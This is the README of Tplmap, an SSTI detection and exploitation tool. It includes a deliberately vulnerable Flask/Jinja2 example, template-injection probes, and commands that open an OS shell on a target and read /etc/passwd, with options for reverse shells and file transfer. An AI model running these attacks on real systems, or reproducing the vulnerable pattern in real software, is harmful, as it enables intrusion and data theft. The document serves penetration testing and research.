Tplmap

Tplmap automates the detection and exploitation of Server-Side Template Injection (SSTI) vulnerabilities to break-out the sandbox and achieve remote command execution on the remote operating system.

The tool can be used as a testbed to conduct researches on the SSTI vulnerability class and as offensive security tool in penetration test engagements.

The sandbox break-out techniques came from James Kett's Server-Side Template Injection: RCE For The Modern Web App and other public researches [1] [2] and original works to extend this tool capabilities [3] [4].

It can achieve full compromise in several code context and blind injection scenarios. It also exploits eval()-like code injections in different languages and generic unsandboxed template engines.

Server-Side Template Injection

Assume that you are auditing a web site that generates dynamic pages using templates composed with user-provided values, such as this web application written in Python and Flask that uses Jinja2 template engine in an unsafe way.

from flask import Flask, request
from jinja2 import Environment

app = Flask(__name__)
Jinja2 = Environment()

@app.route("/page")
def page():

    name = request.values.get('name')
    
    # SSTI VULNERABILITY
    # The vulnerability is introduced concatenating the
    # user-provided `name` variable to the template string.
    output = Jinja2.from_string('Hello ' + name + '!').render()
    
    # Instead, the variable should be passed to the template context.
    # Jinja2.from_string('Hello {{name}}!').render(name = name)

    return output

if __name__ == "__main__":
    app.run(host='0.0.0.0', port=80)

From a black box testing perspective, the page reflects the value similarly to a XSS vulnerability, but also computes basic operation at runtime disclosing its SSTI nature.

$ curl -g 'http://www.target.com/page?name=John'
Hello John!
$ curl -g 'http://www.target.com/page?name={{7*7}}'
Hello 49!

Exploitation

Tplmap is able to detect and exploit SSTI in a range of template engines, including Jinja2, to get access to the underlying file system and operating system. Run it against the URL to test if the parameters are vulnerable.

$ ./tplmap.py -u 'http://www.target.com/page?name=John'
[+] Tplmap 0.3
    Automatic Server-Side Template Injection Detection and Exploitation Tool

[+] Testing if GET parameter 'name' is injectable
[+] Smarty plugin is testing rendering with tag '{*}'
[+] Mako plugin is testing rendering with tag '${*}'
...
[+] Jinja2 plugin is testing rendering with tag '{{*}}'
[+] Jinja2 plugin has confirmed injection with tag '{{*}}'
[+] Tplmap identified the following injection point:

  GET parameter: name
  Engine: Jinja2
  Injection: {{*}}
  Context: text
  OS: linux
  Technique: render
  Capabilities:

   Shell command execution: yes
   Bind and reverse shell: yes
   File write: yes
   File read: yes
   Code evaluation: yes, python code

[+] Rerun tplmap providing one of the following options:

    --os-shell                Run shell on the target
    --os-cmd                  Execute shell commands
    --bind-shell PORT         Connect to a shell bind to a target port
    --reverse-shell HOST PORT Send a shell back to the attacker's port
    --upload LOCAL REMOTE     Upload files to the server
    --download REMOTE LOCAL   Download remote files

Use --os-shell option to compromise the target in a fully automated way.

$ ./tplmap.py --os-shell -u 'http://www.target.com/page?name=John'
[+] Tplmap 0.3
    Automatic Server-Side Template Injection Detection and Exploitation Tool

[+] Run commands on the operating system.

linux $ whoami
www
linux $ head /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh

Supported template engines

Tplmap can exploit SSTI vulnerabilities in over 15 template engines, unsandboxed template engines and generic eval()-like injections. Blind injections and injections in code contexts are also supported.

Template engine	Remote Command Execution	Blind	Code evaluation	File read	File write
Mako	✓	✓	Python	✓	✓
Jinja2	✓	✓	Python	✓	✓
Python (generic)	✓	✓	Python	✓	✓
Tornado	✓	✓	Python	✓	✓
Nunjucks	✓	✓	JavaScript	✓	✓
Jade	✓	✓	JavaScript	✓	✓
doT	✓	✓	JavaScript	✓	✓
Marko	✓	✓	JavaScript	✓	✓
JavaScript (generic)	✓	✓	JavaScript	✓	✓
Dust (<= [email protected])	✓	✓	JavaScript	✓	✓
Smarty (unsecured)	✓	✓	PHP	✓	✓
PHP (generic)	✓	✓	PHP	✓	✓
Freemarker	✓	✓	×	✓	✓
Velocity	✓	✓	×	✓	✓
Twig	×	×	×	×	×
Smarty (secured)	×	×	×	×	×
Dust (> [email protected])	×	×	×	×	×